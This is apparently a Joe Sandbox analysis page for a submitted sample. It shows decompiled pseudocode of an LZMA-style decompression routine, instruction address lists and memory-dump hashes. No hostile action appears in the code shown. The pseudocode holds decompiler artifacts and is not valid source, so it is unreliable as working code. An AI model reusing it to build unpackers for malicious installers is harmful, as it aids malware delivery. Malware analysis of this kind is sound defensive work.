							L71:
							__esi = _v92;
							_v136 = 0x12;
							goto L135;
						case 0x12:
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v92;
								_v136 = 0x13;
								__esi = _v92 + 2;
								L135:
								_v88 = _t626;
								goto L136;
							}
							__eax = _v80;
							_v52 = _v52 & 0x00000000;
							__ecx = _v92;
							__eax = _v80 << 4;
							__eflags = __eax;
							__eax = _v92 + __eax + 4;
							goto L133;
						case 0x13:
							__eflags = _v68;
							if(_v68 != 0) {
								_t475 =  &_v92;
								 *_t475 = _v92 + 0x204;
								__eflags =  *_t475;
								_v52 = 0x10;
								_v68 = 8;
								L147:
								_v128 = 0x14;
								goto L148;
							}
							__eax = _v80;
							__ecx = _v92;
							__eax = _v80 << 4;
							_v52 = 8;
							__eax = _v92 + (_v80 << 4) + 0x104;
							L133:
							_v92 = __eax;
							_v68 = 3;
							goto L147;
						case 0x14:
							_v52 = _v52 + __ebx;
							__eax = _v132;
							goto L143;
						case 0x15:
							__eax = 0;
							__eflags = _v60 - 7;
							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
							__al = __al & 0x000000fd;
							__eax = (__eflags >= 0) - 1 + 0xb;
							_v60 = (__eflags >= 0) - 1 + 0xb;
							goto L123;
						case 0x16:
							__eax = _v52;
							__eflags = __eax - 4;
							if(__eax >= 4) {
								_push(3);
								_pop(__eax);
							}
							__ecx = _v8;
							_v68 = 6;
							__eax = __eax << 7;
							_v128 = 0x19;
							_v92 = __eax;
							goto L148;
						case 0x17:
							L148:
							__eax = _v68;
							_v84 = 1;
							_v76 = _v68;
							goto L152;
						case 0x18:
							L149:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0x18;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t490 =  &_v116;
							 *_t490 = _v116 + 1;
							__eflags =  *_t490;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L151:
							_t493 =  &_v76;
							 *_t493 = _v76 - 1;
							__eflags =  *_t493;
							L152:
							__eflags = _v76;
							if(_v76 <= 0) {
								__ecx = _v68;
								__ebx = _v84;
								0 = 1;
								__eax = 1 << __cl;
								__ebx = _v84 - (1 << __cl);
								__eax = _v128;
								_v72 = __ebx;
								L143:
								_v140 = _t561;
								goto L3;
							}
							__eax = _v84;
							_v20 = _v20 >> 0xb;
							__edx = _v84 + _v84;
							__eax = _v92;
							__esi = __edx + __eax;
							_v88 = __esi;
							__ax =  *__esi;
							__edi = __ax & 0x0000ffff;
							__ecx = (_v20 >> 0xb) * __edi;
							__eflags = _v16 - __ecx;
							if(_v16 >= __ecx) {
								_v20 = _v20 - __ecx;
								_v16 = _v16 - __ecx;
								__cx = __ax;
								__cx = __ax >> 5;
								__eax = __eax - __ecx;
								__edx = __edx + 1;
								__eflags = __edx;
								 *__esi = __ax;
								_v84 = __edx;
							} else {
								_v20 = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								_v84 = _v84 << 1;
								 *__esi = __cx;
							}
							__eflags = _v20 - 0x1000000;
							if(_v20 >= 0x1000000) {
								goto L151;
							} else {
								goto L149;
							}
						case 0x19:
							__eflags = __ebx - 4;
							if(__ebx < 4) {
								_v48 = __ebx;
								L122:
								_t399 =  &_v48;
								 *_t399 = _v48 + 1;
								__eflags =  *_t399;
								L123:
								__eax = _v48;
								__eflags = __eax;
								if(__eax == 0) {
									_v52 = _v52 | 0xffffffff;
									goto L173;
								}
								__eflags = __eax - _v100;
								if(__eax > _v100) {
									goto L174;
								}
								_v52 = _v52 + 2;
								__eax = _v52;
								_t406 =  &_v100;
								 *_t406 = _v100 + _v52;
								__eflags =  *_t406;
								goto L126;
							}
							__ecx = __ebx;
							__eax = __ebx;
							__ecx = __ebx >> 1;
							__eax = __ebx & 0x00000001;
							__ecx = (__ebx >> 1) - 1;
							__al = __al | 0x00000002;
							__eax = (__ebx & 0x00000001) << __cl;
							__eflags = __ebx - 0xe;
							_v48 = __eax;
							if(__ebx >= 0xe) {
								__ebx = 0;
								_v76 = __ecx;
								L105:
								__eflags = _v76;
								if(_v76 <= 0) {
									__eax = __eax + __ebx;
									_v68 = 4;
									_v48 = __eax;
									__eax = _v8;
									__eax = _v8 + 0x644;
									__eflags = __eax;
									L111:
									__ebx = 0;
									_v92 = __eax;
									_v84 = 1;
									_v72 = 0;
									_v76 = 0;
									L115:
									__eax = _v68;
									__eflags = _v76 - _v68;
									if(_v76 >= _v68) {
										_t397 =  &_v48;
										 *_t397 = _v48 + __ebx;
										__eflags =  *_t397;
										goto L122;
									}
									__eax = _v84;
									_v20 = _v20 >> 0xb;
									__edi = _v84 + _v84;
									__eax = _v92;
									__esi = __edi + __eax;
									_v88 = __esi;
									__ax =  *__esi;
									__ecx = __ax & 0x0000ffff;
									__edx = (_v20 >> 0xb) * __ecx;
									__eflags = _v16 - __edx;
									if(_v16 >= __edx) {
										__ecx = 0;
										_v20 = _v20 - __edx;
										__ecx = 1;
										_v16 = _v16 - __edx;
										__ebx = 1;
										__ecx = _v76;
										__ebx = 1 << __cl;
										__ecx = 1 << __cl;
										__ebx = _v72;
										__ebx = _v72 | __ecx;
										__cx = __ax;
										__cx = __ax >> 5;
										__eax = __eax - __ecx;
										__edi = __edi + 1;
										__eflags = __edi;
										_v72 = __ebx;
										 *__esi = __ax;
										_v84 = __edi;
									} else {
										_v20 = __edx;
										0x800 = 0x800 - __ecx;
										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
										_v84 = _v84 << 1;
										 *__esi = __dx;
									}
									__eflags = _v20 - 0x1000000;
									if(_v20 >= 0x1000000) {
										L114:
										_t374 =  &_v76;
										 *_t374 = _v76 + 1;
										__eflags =  *_t374;
										goto L115;
									} else {
										goto L112;
									}
								}
								__ecx = _v16;
								__ebx = __ebx + __ebx;
								_v20 = _v20 >> 1;
								__eflags = _v16 - _v20;
								_v72 = __ebx;
								if(_v16 >= _v20) {
									__ecx = _v20;
									_v16 = _v16 - _v20;
									__ebx = __ebx | 0x00000001;
									__eflags = __ebx;
									_v72 = __ebx;
								}
								__eflags = _v20 - 0x1000000;
								if(_v20 >= 0x1000000) {
									L104:
									_t344 =  &_v76;
									 *_t344 = _v76 - 1;
									__eflags =  *_t344;
									goto L105;
								} else {
									goto L102;
								}
							}
							__edx = _v8;
							__eax = __eax - __ebx;
							_v68 = __ecx;
							__eax = _v8 + 0x55e + __eax * 2;
							goto L111;
						case 0x1a:
							L58:
							__eflags = _v104;
							if(_v104 == 0) {
								_v140 = 0x1a;
								goto L173;
							}
							__ecx = _v108;
							__al = _v96;
							__edx = _v12;
							_v100 = _v100 + 1;
							_v108 = _v108 + 1;
							_v104 = _v104 - 1;
							 *_v108 = __al;
							__ecx = _v24;
							 *(_v12 + __ecx) = __al;
							__eax = __ecx + 1;
							__edx = 0;
							_t197 = __eax % _v120;
							__eax = __eax / _v120;
							__edx = _t197;
							goto L82;
						case 0x1b:
							L78:
							__eflags = _v104;
							if(_v104 == 0) {
								_v140 = 0x1b;
								goto L173;
							}
							__eax = _v24;
							__eax = _v24 - _v48;
							__eflags = __eax - _v120;
							if(__eax >= _v120) {
								__eax = __eax + _v120;
								__eflags = __eax;
							}
							__edx = _v12;
							__cl =  *(__edx + __eax);
							__eax = _v24;
							_v96 = __cl;
							 *(__edx + __eax) = __cl;
							__eax = __eax + 1;
							__edx = 0;
							_t280 = __eax % _v120;
							__eax = __eax / _v120;
							__edx = _t280;
							__eax = _v108;
							_v100 = _v100 + 1;
							_v108 = _v108 + 1;
							_t289 =  &_v104;
							 *_t289 = _v104 - 1;
							__eflags =  *_t289;
							 *_v108 = __cl;
							L82:
							_v24 = __edx;
							goto L83;
						case 0x1c:
							while(1) {
								L126:
								__eflags = _v104;
								if(_v104 == 0) {
									break;
								}
								__eax = _v24;
								__eax = _v24 - _v48;
								__eflags = __eax - _v120;
								if(__eax >= _v120) {
									__eax = __eax + _v120;
									__eflags = __eax;
								}
								__edx = _v12;
								__cl =  *(__edx + __eax);
								__eax = _v24;
								_v96 = __cl;
								 *(__edx + __eax) = __cl;
								__eax = __eax + 1;
								__edx = 0;
								_t420 = __eax % _v120;
								__eax = __eax / _v120;
								__edx = _t420;
								__eax = _v108;
								_v108 = _v108 + 1;
								_v104 = _v104 - 1;
								_v52 = _v52 - 1;
								__eflags = _v52;
								 *_v108 = __cl;
								_v24 = _t420;
								if(_v52 > 0) {
									continue;
								} else {
									L83:
									_v140 = 2;
									goto L3;
								}
							}
							_v140 = 0x1c;
							L173:
							_push(0x22);
							_pop(_t574);
							memcpy(_v148,  &_v140, _t574 << 2);
							return 0;
					}
				}
				L174:
				_t538 = _t537 | 0xffffffff;
				return _t538;
			}

0x00406786
0x0040678d
0x00406793
0x00406799
0x00000000
0x0040679d
0x004067a9
0x004067a9
0x004067a9
0x004067b2
0x00000000
0x00000000
0x004067b8
0x00000000
0x004067bf
0x004067c3
0x00000000
0x00000000
0x004067cc
0x004067cf
0x004067d2
0x004067d4
0x004067d6
0x00000000
0x00000000
0x004067dc
0x004067df
0x004067e1
0x004067e2
0x004067e5
0x004067e7
0x004067e8
0x004067ea
0x004067ed
0x004067f2
0x004067f7
0x00406800
0x00406813
0x00406816
0x0040681f
0x00406822
0x0040684a
0x0040684a
0x0040684c
0x0040685a
0x0040685a
0x0040685e
0x00000000
0x00000000
0x00000000
0x00000000
0x0040684e
0x0040684e
0x00406851
0x00406851
0x00406852
0x00406852
0x00000000
0x0040684e
0x00406824
0x00406828
0x0040682d
0x0040682d
0x00406836
0x0040683c
0x0040683e
0x00406841
0x00000000
0x00406847
0x00406847
0x00000000
0x00406847
0x00000000
0x00406864
0x00406864
0x00406868
0x00407114
0x00000000
0x00407114
0x00406871
0x00406881
0x00406884
0x00406887
0x00406887
0x00406887
0x0040688a
0x0040688a
0x0040688e
0x00000000
0x00000000
0x00406890
0x00406893
0x00406896
0x004068c0
0x004068c6
0x004068cd
0x00000000
0x004068cd
0x00406898
0x0040689c
0x0040689f
0x004068a4
0x004068a4
0x004068af
0x004068b5
0x004068b7
0x004068ba
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004068ff
0x00406905
0x00406908
0x00406915
0x0040691d
0x00000000
0x00000000
0x004068d4
0x004068d4
0x004068d8
0x00407123
0x00000000
0x00407123
0x004068e4
0x004068ef
0x004068ef
0x004068ef
0x004068f2
0x004068f5
0x004068f8
0x004068fb
0x004068fd
0x00000000
0x00000000
0x00000000
0x00000000
0x00406f94
0x00406f94
0x00406f9a
0x00406fa0
0x00406fa3
0x00406fa6
0x00406fc0
0x00406fc3
0x00406fc9
0x00406fd4
0x00406fd4
0x00406fd6
0x00406fa8
0x00406fa8
0x00406fb7
0x00406fbb
0x00406fbb
0x00406fd9
0x00406fe0
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406fe2
0x00406fe2
0x00406fe6
0x00407195
0x00000000
0x00407195
0x00406ff2
0x00406ff9
0x00407001
0x00407001
0x00407001
0x00407004
0x00407007
0x00407007
0x00000000
0x00000000
0x00406925
0x00406927
0x0040692a
0x0040699b
0x0040699e
0x004069a1
0x004069a8
0x004069b2
0x00000000
0x004069b2
0x0040692c
0x00406930
0x00406933
0x00406935
0x00406938
0x0040693b
0x0040693d
0x00406940
0x00406942
0x00406947
0x0040694a
0x0040694d
0x00406951
0x00406958
0x0040695b
0x00406962
0x00406966
0x0040696e
0x0040696e
0x0040696e
0x00406968
0x00406968
0x00406968
0x0040695d
0x0040695d
0x0040695d
0x00406972
0x00406975
0x00406993
0x00406995
0x00000000
0x00406995
0x00406977
0x0040697a
0x0040697d
0x00406980
0x00406982
0x00406982
0x00406982
0x00406985
0x00406988
0x0040698a
0x0040698b
0x0040698e
0x00000000
0x00000000
0x00406bc4
0x00406bc8
0x00406be6
0x00406be9
0x00406bf0
0x00406bf3
0x00406bf6
0x00406bf9
0x00406bfc
0x00406bff
0x00406c01
0x00406c08
0x00406c09
0x00406c0b
0x00406c0e
0x00406c11
0x00406c14
0x00406c14
0x00406c19
0x00000000
0x00406c19
0x00406bca
0x00406bcd
0x00406bd0
0x00406bda
0x00000000
0x00000000
0x00406c2e
0x00406c32
0x00406c55
0x00406c58
0x00406c5b
0x00406c65
0x00406c34
0x00406c34
0x00406c37
0x00406c3a
0x00406c3d
0x00406c4a
0x00406c4d
0x00406c4d
0x00000000
0x00000000
0x00406c71
0x00406c75
0x00000000
0x00000000
0x00406c7b
0x00406c7f
0x00000000
0x00000000
0x00406c85
0x00406c87
0x00406c8b
0x00406c8b
0x00406c8e
0x00406c92
0x00000000
0x00000000
0x00406ce2
0x00406ce6
0x00406ced
0x00406cf0
0x00406cf3
0x00406cfd
0x00000000
0x00406cfd
0x00406ce8
0x00000000
0x00000000
0x00406d09
0x00406d0d
0x00406d14
0x00406d17
0x00406d1a
0x00406d0f
0x00406d0f
0x00406d0f
0x00406d1d
0x00406d20
0x00406d23
0x00406d23
0x00406d26
0x00406d29
0x00406d2c
0x00406d2c
0x00406d2f
0x00406d36
0x00406d3b
0x00000000
0x00000000
0x00406dc9
0x00406dc9
0x00406dcd
0x0040716b
0x00000000
0x0040716b
0x00406dd3
0x00406dd6
0x00406dd9
0x00406ddd
0x00406de0
0x00406de6
0x00406de8
0x00406de8
0x00406de8
0x00406deb
0x00406dee
0x00000000
0x00000000
0x004069be
0x004069be
0x004069c2
0x0040712f
0x00000000
0x0040712f
0x004069c8
0x004069cb
0x004069ce
0x004069d2
0x004069d5
0x004069db
0x004069dd
0x004069dd
0x004069dd
0x004069e0
0x004069e3
0x004069e3
0x004069e6
0x004069e9
0x00000000
0x00000000
0x004069ef
0x004069f5
0x00000000
0x00000000
0x004069fb
0x004069fb
0x004069ff
0x00406a02
0x00406a05
0x00406a08
0x00406a0b
0x00406a0c
0x00406a0f
0x00406a11
0x00406a17
0x00406a1a
0x00406a1d
0x00406a20
0x00406a23
0x00406a26
0x00406a29
0x00406a45
0x00406a48
0x00406a4b
0x00406a4e
0x00406a55
0x00406a59
0x00406a5b
0x00406a5f
0x00406a2b
0x00406a2b
0x00406a2f
0x00406a37
0x00406a3c
0x00406a3e
0x00406a40
0x00406a40
0x00406a62
0x00406a69
0x00406a6c
0x00000000
0x00406a72
0x00000000
0x00406a72
0x00000000
0x00406a77
0x00406a77
0x00406a7b
0x0040713b
0x00000000
0x0040713b
0x00406a81
0x00406a84
0x00406a87
0x00406a8b
0x00406a8e
0x00406a94
0x00406a96
0x00406a96
0x00406a96
0x00406a99
0x00406a9c
0x00406a9c
0x00406a9c
0x00406aa2
0x00000000
0x00000000
0x00406aa4
0x00406aa7
0x00406aaa
0x00406aad
0x00406ab0
0x00406ab3
0x00406ab6
0x00406ab9
0x00406abc
0x00406abf
0x00406ac2
0x00406ada
0x00406add
0x00406ae0
0x00406ae3
0x00406ae3
0x00406ae6
0x00406aea
0x00406aec
0x00406ac4
0x00406ac4
0x00406acc
0x00406ad1
0x00406ad3
0x00406ad5
0x00406ad5
0x00406aef
0x00406af6
0x00406af9
0x00000000
0x00406afb
0x00000000
0x00406afb
0x00406af9
0x00406b00
0x00406b00
0x00406b00
0x00406b00
0x00000000
0x00000000
0x00406b3b
0x00406b3b
0x00406b3f
0x00407147
0x00000000
0x00407147
0x00406b45
0x00406b48
0x00406b4b
0x00406b4f
0x00406b52
0x00406b58
0x00406b5a
0x00406b5a
0x00406b5a
0x00406b5d
0x00406b60
0x00406b60
0x00406b66
0x00406b04
0x00406b04
0x00406b07
0x00000000
0x00406b07
0x00406b68
0x00406b68
0x00406b6b
0x00406b6e
0x00406b71
0x00406b74
0x00406b77
0x00406b7a
0x00406b7d
0x00406b80
0x00406b83
0x00406b86
0x00406b9e
0x00406ba1
0x00406ba4
0x00406ba7
0x00406ba7
0x00406baa
0x00406bae
0x00406bb0
0x00406b88
0x00406b88
0x00406b90
0x00406b95
0x00406b97
0x00406b99
0x00406b99
0x00406bb3
0x00406bba
0x00406bbd
0x00000000
0x00406bbf
0x00000000
0x00406bbf
0x00000000
0x00406e4c
0x00406e4c
0x00406e50
0x00407177
0x00000000
0x00407177
0x00406e56
0x00406e59
0x00406e5c
0x00406e60
0x00406e63
0x00406e69
0x00406e6b
0x00406e6b
0x00406e6b
0x00406e6e
0x00000000
0x00000000
0x00406c1c
0x00406c1c
0x00406c1f
0x00000000
0x00000000
0x00406f5b
0x00406f5f
0x00406f81
0x00406f84
0x00406f8e
0x00406f91
0x00406f91
0x00000000
0x00406f91
0x00406f61
0x00406f64
0x00406f68
0x00406f6b
0x00406f6b
0x00406f6e
0x00000000
0x00000000
0x00407018
0x0040701c
0x0040703a
0x0040703a
0x0040703a
0x00407041
0x00407048
0x0040704f
0x0040704f
0x00000000
0x0040704f
0x0040701e
0x00407021
0x00407024
0x00407027
0x0040702e
0x00406f72
0x00406f72
0x00406f75
0x00000000
0x00000000
0x00407109
0x0040710c
0x00000000
0x00000000
0x00406d43
0x00406d45
0x00406d4c
0x00406d4d
0x00406d4f
0x00406d52
0x00000000
0x00000000
0x00406d5a
0x00406d5d
0x00406d60
0x00406d62
0x00406d64
0x00406d64
0x00406d65
0x00406d68
0x00406d6f
0x00406d72
0x00406d80
0x00000000
0x00000000
0x00407056
0x00407056
0x00407059
0x00407060
0x00000000
0x00000000
0x00407065
0x00407065
0x00407069
0x004071a1
0x00000000
0x004071a1
0x0040706f
0x00407072
0x00407075
0x00407079
0x0040707c
0x00407082
0x00407084
0x00407084
0x00407084
0x00407087
0x0040708a
0x0040708a
0x0040708a
0x0040708a
0x0040708d
0x0040708d
0x00407091
0x004070f1
0x004070f4
0x004070f9
0x004070fa
0x004070fc
0x004070fe
0x00407101
0x0040700d
0x0040700d
0x00000000
0x0040700d
0x00407093
0x00407099
0x0040709c
0x0040709f
0x004070a2
0x004070a5
0x004070a8
0x004070ab
0x004070ae
0x004070b1
0x004070b4
0x004070cd
0x004070d0
0x004070d3
0x004070d6
0x004070da
0x004070dc
0x004070dc
0x004070dd
0x004070e0
0x004070b6
0x004070b6
0x004070be
0x004070c3
0x004070c5
0x004070c8
0x004070c8
0x004070e3
0x004070ea
0x00000000
0x004070ec
0x00000000
0x004070ec
0x00000000
0x00406d88
0x00406d8b
0x00406dc1
0x00406ef1
0x00406ef1
0x00406ef1
0x00406ef1
0x00406ef4
0x00406ef4
0x00406ef7
0x00406ef9
0x00407183
0x00000000
0x00407183
0x00406eff
0x00406f02
0x00000000
0x00000000
0x00406f08
0x00406f0c
0x00406f0f
0x00406f0f
0x00406f0f
0x00000000
0x00406f0f
0x00406d8d
0x00406d8f
0x00406d91
0x00406d93
0x00406d96
0x00406d97
0x00406d99
0x00406d9b
0x00406d9e
0x00406da1
0x00406db7
0x00406dbc
0x00406df4
0x00406df4
0x00406df8
0x00406e24
0x00406e26
0x00406e2d
0x00406e30
0x00406e33
0x00406e33
0x00406e38
0x00406e38
0x00406e3a
0x00406e3d
0x00406e44
0x00406e47
0x00406e74
0x00406e74
0x00406e77
0x00406e7a
0x00406eee
0x00406eee
0x00406eee
0x00000000
0x00406eee
0x00406e7c
0x00406e82
0x00406e85
0x00406e88
0x00406e8b
0x00406e8e
0x00406e91
0x00406e94
0x00406e97
0x00406e9a
0x00406e9d
0x00406eb6
0x00406eb8
0x00406ebb
0x00406ebc
0x00406ebf
0x00406ec1
0x00406ec4
0x00406ec6
0x00406ec8
0x00406ecb
0x00406ecd
0x00406ed0
0x00406ed4
0x00406ed6
0x00406ed6
0x00406ed7
0x00406eda
0x00406edd
0x00406e9f
0x00406e9f
0x00406ea7
0x00406eac
0x00406eae
0x00406eb1
0x00406eb1
0x00406ee0
0x00406ee7
0x00406e71
0x00406e71
0x00406e71
0x00406e71
0x00000000
0x00406ee9
0x00000000
0x00406ee9
0x00406ee7
0x00406dfa
0x00406dfd
0x00406dff
0x00406e02
0x00406e05
0x00406e08
0x00406e0a
0x00406e0d
0x00406e10
0x00406e10
0x00406e13
0x00406e13
0x00406e16
0x00406e1d
0x00406df1
0x00406df1
0x00406df1
0x00406df1
0x00000000
0x00406e1f
0x00000000
0x00406e1f
0x00406e1d
0x00406da3
0x00406da6
0x00406da8
0x00406dab
0x00000000
0x00000000
0x00406b0a
0x00406b0a
0x00406b0e
0x00407153
0x00000000
0x00407153
0x00406b14
0x00406b17
0x00406b1a
0x00406b1d
0x00406b20
0x00406b23
0x00406b26
0x00406b28
0x00406b2b
0x00406b2e
0x00406b31
0x00406b33
0x00406b33
0x00406b33
0x00000000
0x00000000
0x00406c95
0x00406c95
0x00406c99
0x0040715f
0x00000000
0x0040715f
0x00406c9f
0x00406ca2
0x00406ca5
0x00406ca8
0x00406caa
0x00406caa
0x00406caa
0x00406cad
0x00406cb0
0x00406cb3
0x00406cb6
0x00406cb9
0x00406cbc
0x00406cbd
0x00406cbf
0x00406cbf
0x00406cbf
0x00406cc2
0x00406cc5
0x00406cc8
0x00406ccb
0x00406ccb
0x00406ccb
0x00406cce
0x00406cd0
0x00406cd0
0x00000000
0x00000000
0x00406f12
0x00406f12
0x00406f12
0x00406f16
0x00000000
0x00000000
0x00406f1c
0x00406f1f
0x00406f22
0x00406f25
0x00406f27
0x00406f27
0x00406f27
0x00406f2a
0x00406f2d
0x00406f30
0x00406f33
0x00406f36
0x00406f39
0x00406f3a
0x00406f3c
0x00406f3c
0x00406f3c
0x00406f3f
0x00406f42
0x00406f45
0x00406f48
0x00406f4b
0x00406f4f
0x00406f51
0x00406f54
0x00000000
0x00406f56
0x00406cd3
0x00406cd3
0x00000000
0x00406cd3
0x00406f54
0x00407189
0x004071ab
0x004071b1
0x004071b3
0x004071ba
0x00000000
0x00000000
0x004067b8
0x004071c0
0x004071c0
0x00000000

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d3c90e2c2c281b0151b8bc02d48c609eaff53916cbf358625803cc36882de51
Instruction ID: 8282c7973928a3a8991f4aebeb421c6794774a39cdfa424cdd26f1de73b17733
Opcode Fuzzy Hash: 4d3c90e2c2c281b0151b8bc02d48c609eaff53916cbf358625803cc36882de51
Instruction Fuzzy Hash: 74816571D14228DBDF28CFA8C844BADBBB1FB44305F14816AD856BB2C1C7786A86DF45

Uniqueness

Uniqueness Score: -1.00%

Function 00406BC4 Relevance: 5.2, APIs: 4, Instructions: 180
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406BC4() {
				signed int _t539;
				unsigned short _t540;
				signed int _t541;
				void _t542;
				signed int _t543;
				signed int _t544;
				signed int _t573;
				signed int _t576;
				signed int _t597;
				signed int* _t614;
				void* _t621;

				L0:
				while(1) {
					L0:
					if( *(_t621 - 0x40) != 1) {
						 *((intOrPtr*)(_t621 - 0x80)) = 0x16;
						 *((intOrPtr*)(_t621 - 0x20)) =  *((intOrPtr*)(_t621 - 0x24));
						 *((intOrPtr*)(_t621 - 0x24)) =  *((intOrPtr*)(_t621 - 0x28));
						 *((intOrPtr*)(_t621 - 0x28)) =  *((intOrPtr*)(_t621 - 0x2c));
						 *(_t621 - 0x38) = ((0 |  *(_t621 - 0x38) - 0x00000007 >= 0x00000000) - 0x00000001 & 0x000000fd) + 0xa;
						_t539 =  *(_t621 - 4) + 0x664;
						 *(_t621 - 0x58) = _t539;
						goto L68;
					} else {
						 *(__ebp - 0x84) = 8;
						while(1) {
							L132:
							 *(_t621 - 0x54) = _t614;
							while(1) {
								L133:
								_t540 =  *_t614;
								_t597 = _t540 & 0x0000ffff;
								_t573 = ( *(_t621 - 0x10) >> 0xb) * _t597;
								if( *(_t621 - 0xc) >= _t573) {
									 *(_t621 - 0x10) =  *(_t621 - 0x10) - _t573;
									 *(_t621 - 0xc) =  *(_t621 - 0xc) - _t573;
									 *(_t621 - 0x40) = 1;
									_t541 = _t540 - (_t540 >> 5);
									 *_t614 = _t541;
								} else {
									 *(_t621 - 0x10) = _t573;
									 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
									 *_t614 = (0x800 - _t597 >> 5) + _t540;
								}
								if( *(_t621 - 0x10) >= 0x1000000) {
									goto L139;
								}
								L137:
								if( *(_t621 - 0x6c) == 0) {
									 *(_t621 - 0x88) = 5;
									L170:
									_t576 = 0x22;
									memcpy( *(_t621 - 0x90), _t621 - 0x88, _t576 << 2);
									_t544 = 0;
									L172:
									return _t544;
								}
								 *(_t621 - 0x10) =  *(_t621 - 0x10) << 8;
								 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
								 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
								 *(_t621 - 0xc) =  *(_t621 - 0xc) << 0x00000008 |  *( *(_t621 - 0x70)) & 0x000000ff;
								L139:
								_t542 =  *(_t621 - 0x84);
								while(1) {
									 *(_t621 - 0x88) = _t542;
									while(1) {
										L1:
										_t543 =  *(_t621 - 0x88);
										if(_t543 > 0x1c) {
											break;
										}
										switch( *((intOrPtr*)(_t543 * 4 +  &M004071C8))) {
											case 0:
												if( *(_t621 - 0x6c) == 0) {
													goto L170;
												}
												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
												 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
												_t543 =  *( *(_t621 - 0x70));
												if(_t543 > 0xe1) {
													goto L171;
												}
												_t547 = _t543 & 0x000000ff;
												_push(0x2d);
												asm("cdq");
												_pop(_t578);
												_push(9);
												_pop(_t579);
												_t617 = _t547 / _t578;
												_t549 = _t547 % _t578 & 0x000000ff;
												asm("cdq");
												_t612 = _t549 % _t579 & 0x000000ff;
												 *(_t621 - 0x3c) = _t612;
												 *(_t621 - 0x1c) = (1 << _t617) - 1;
												 *((intOrPtr*)(_t621 - 0x18)) = (1 << _t549 / _t579) - 1;
												_t620 = (0x300 << _t612 + _t617) + 0x736;
												if(0x600 ==  *((intOrPtr*)(_t621 - 0x78))) {
													L10:
													if(_t620 == 0) {
														L12:
														 *(_t621 - 0x48) =  *(_t621 - 0x48) & 0x00000000;
														 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
														goto L15;
													} else {
														goto L11;
													}
													do {
														L11:
														_t620 = _t620 - 1;
														 *((short*)( *(_t621 - 4) + _t620 * 2)) = 0x400;
													} while (_t620 != 0);
													goto L12;
												}
												if( *(_t621 - 4) != 0) {
													GlobalFree( *(_t621 - 4));
												}
												_t543 = GlobalAlloc("true", 0x600); // executed
												 *(_t621 - 4) = _t543;
												if(_t543 == 0) {
													goto L171;
												} else {
													 *((intOrPtr*)(_t621 - 0x78)) = 0x600;
													goto L10;
												}
											case 1:
												L13:
												__eflags =  *(_t621 - 0x6c);
												if( *(_t621 - 0x6c) == 0) {
													 *(_t621 - 0x88) = 1;
													goto L170;
												}
												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
												 *(_t621 - 0x40) =  *(_t621 - 0x40) | ( *( *(_t621 - 0x70)) & 0x000000ff) <<  *(_t621 - 0x48) << 0x00000003;
												 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
												_t45 = _t621 - 0x48;
												 *_t45 =  *(_t621 - 0x48) + 1;
												__eflags =  *_t45;
												L15:
												if( *(_t621 - 0x48) < 4) {
													goto L13;
												}
												_t555 =  *(_t621 - 0x40);
												if(_t555 ==  *(_t621 - 0x74)) {
													L20:
													 *(_t621 - 0x48) = 5;
													 *( *(_t621 - 8) +  *(_t621 - 0x74) - 1) =  *( *(_t621 - 8) +  *(_t621 - 0x74) - 1) & 0x00000000;
													goto L23;
												}
												 *(_t621 - 0x74) = _t555;
												if( *(_t621 - 8) != 0) {
													GlobalFree( *(_t621 - 8));
												}
												_t543 = GlobalAlloc("true",  *(_t621 - 0x40)); // executed
												 *(_t621 - 8) = _t543;
												if(_t543 == 0) {
													goto L171;
												} else {
													goto L20;
												}
											case 2:
												L24:
												_t562 =  *(_t621 - 0x60) &  *(_t621 - 0x1c);
												 *(_t621 - 0x84) = 6;
												 *(_t621 - 0x4c) = _t562;
												_t614 =  *(_t621 - 4) + (( *(_t621 - 0x38) << 4) + _t562) * 2;
												goto L132;
											case 3:
												L21:
												__eflags =  *(_t621 - 0x6c);
												if( *(_t621 - 0x6c) == 0) {
													 *(_t621 - 0x88) = 3;
													goto L170;
												}
												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
												_t67 = _t621 - 0x70;
												 *_t67 =  &(( *(_t621 - 0x70))[1]);
												__eflags =  *_t67;
